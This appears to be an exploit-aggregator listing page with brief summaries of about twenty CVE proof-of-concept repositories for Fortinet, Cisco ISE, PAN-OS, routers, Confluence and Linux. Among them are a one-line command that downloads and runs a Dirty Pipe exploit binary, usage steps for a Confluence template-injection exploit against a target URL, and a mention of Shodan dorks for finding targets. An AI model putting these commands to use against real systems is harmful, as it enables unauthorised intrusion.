CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances Blog Post Root cause and indicators of compromise here:...

CVE-2021-38647

OMIGOD Exploit de Prueba de Concepto para CVE-2021-38647 OMIGOD Para obtener información de contexto, lea nuestra publicación en el blog que detalla esta vulnerabilidad: https://www.horizon3.ai/news/blog/omigod Detalles CVE-2021-38647 es una vulnerabilidad RCE no autenticada que afecta al agente...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API Unauthenticated RCE Exploit This repository contains a Python 3 proof-of-concept exploit for CVE-2025-20281 , a critical vulnerability in Cisco Identity Services Engine ISE that allows unauthenticated remote code execution RCE as root via the ERS API. 🩻...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Vulnerability Research RAPTOR Loop-Hunt A security audit of Liferay Portal CE 7.0.3 GA4 git tag 7.0.3-ga4, commit b2d7cc68a performed with the RAPTOR loop-hunt methodology: deterministic recon → 25 isolated generator agents reading raw source → 22 independent judge agents...

CVE-2018-18852

CERIO router Authenticated RCE backdoor vendor creds CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, @hooks3c on twitter Working Python PoC for CVE-2018-18852, originally appearing on; https://github.com/hook-s3c/CVE-2018-18852 What's up CERIO Router models and variants of, DT300N, DT100G...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection Vendor Description A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb Authenticated OS Command Injection Hit Counter The command injection vulnerability in the FortiWeb management interface may allow an authenticated remote attacker to execute arbitrary commands in the system via the SAML server configuration page. Executing command...

CVE-2024-23108

CVE-2024-23108 POC Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances. I just quickly added the option to supply a list and added some coloring. The orginal and all the cred goes to horizon3 see blog post below Blog Post Root cause and indicators of...

EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution

An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected comman...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE Vulnerability Checker This script checks for the presence of the CVE-2025-20281 vulnerability in Cisco Identity Services Engine ISE and ISE-PIC, which allows unauthenticated remote code execution RCE as root due to insufficient input validation in a specific API. Th...

Dirty-Pipe

Oneline Exploit CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM Unauthenticated Command Injection Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances Blog Post Root cause and indicators of compromise here:...

CVE-2023-38035

CVE-2023-38035 POC for CVE-2023-38035 affecting Ivanti Sentry Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog: https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive Summary This POC abuses an unauthenticated command...

CVE-2023-1389

Description CVE-2023–1389 is an Unauthenticated Command Injection vulnerability in the TP-Link Archer AX21 WiFi router. A calllback in the country parameter uses the popen function, which is run as root, allowing the attacker to inject arbitrary values through GET or POST requests to the admin...

autopwn

autopwn Specify targets and run sets of tools against them autopwn is designed to make a pentester's life easier and more consistent by allowing them to specify tools they would like to run against targets, without having to type them in a shell or write a script. This tool will probably be usefu...

CVE-2024-3094

CVE-2024-3094 — Puerta trasera de XZ Utils Solo para fines educativos e investigaciones de seguridad autorizadas. Descripción de la Vulnerabilidad CVE-2024-3094 es una puerta trasera introducida en las versiones 5.6.0 y 5.6.1 de XZ Utils liblzma, descubierta el 29 de marzo de 2024 por el...

FortiSandbox-RCE-Exploit-CVE-2026-39808

FortiSandbox RCE Scanner — CVE-2026-39808 Unauthenticated OS Command Injection as root in Fortinet FortiSandbox Vulnerability • Installation • Usage • How It Works • Pipeline • Shodan Dorks • Disclaimer Vulnerability CVE-2026-39808 is a critical unauthenticated OS command injection vulnerability ...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、put the cmd.vm on your website must use ftp or https ,http doesn't work 2、modify RCEexp.py ，change the filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2026-31431

CVE-2026-31431 Introduction Run with: root@kitploit: ansible-playbook -v -i environment/production/inventory --timeout=1 playbook.yml Links https://copy.fail https://vulners.com/cve/CVE-2026-31431 https://access.redhat.com/security/cve/cve-2026-31431...

CVE-2026-93425

Dokploy is a free, self-hostable Platform as a Service PaaS. Prior to 0.29.13, the patch.readRepoDirectories tRPC procedure passes the user-controlled repoPath value from apps/dokploy/server/api/routers/patch.ts into a shell command in packages/server/src/services/patch-repo.ts without safe...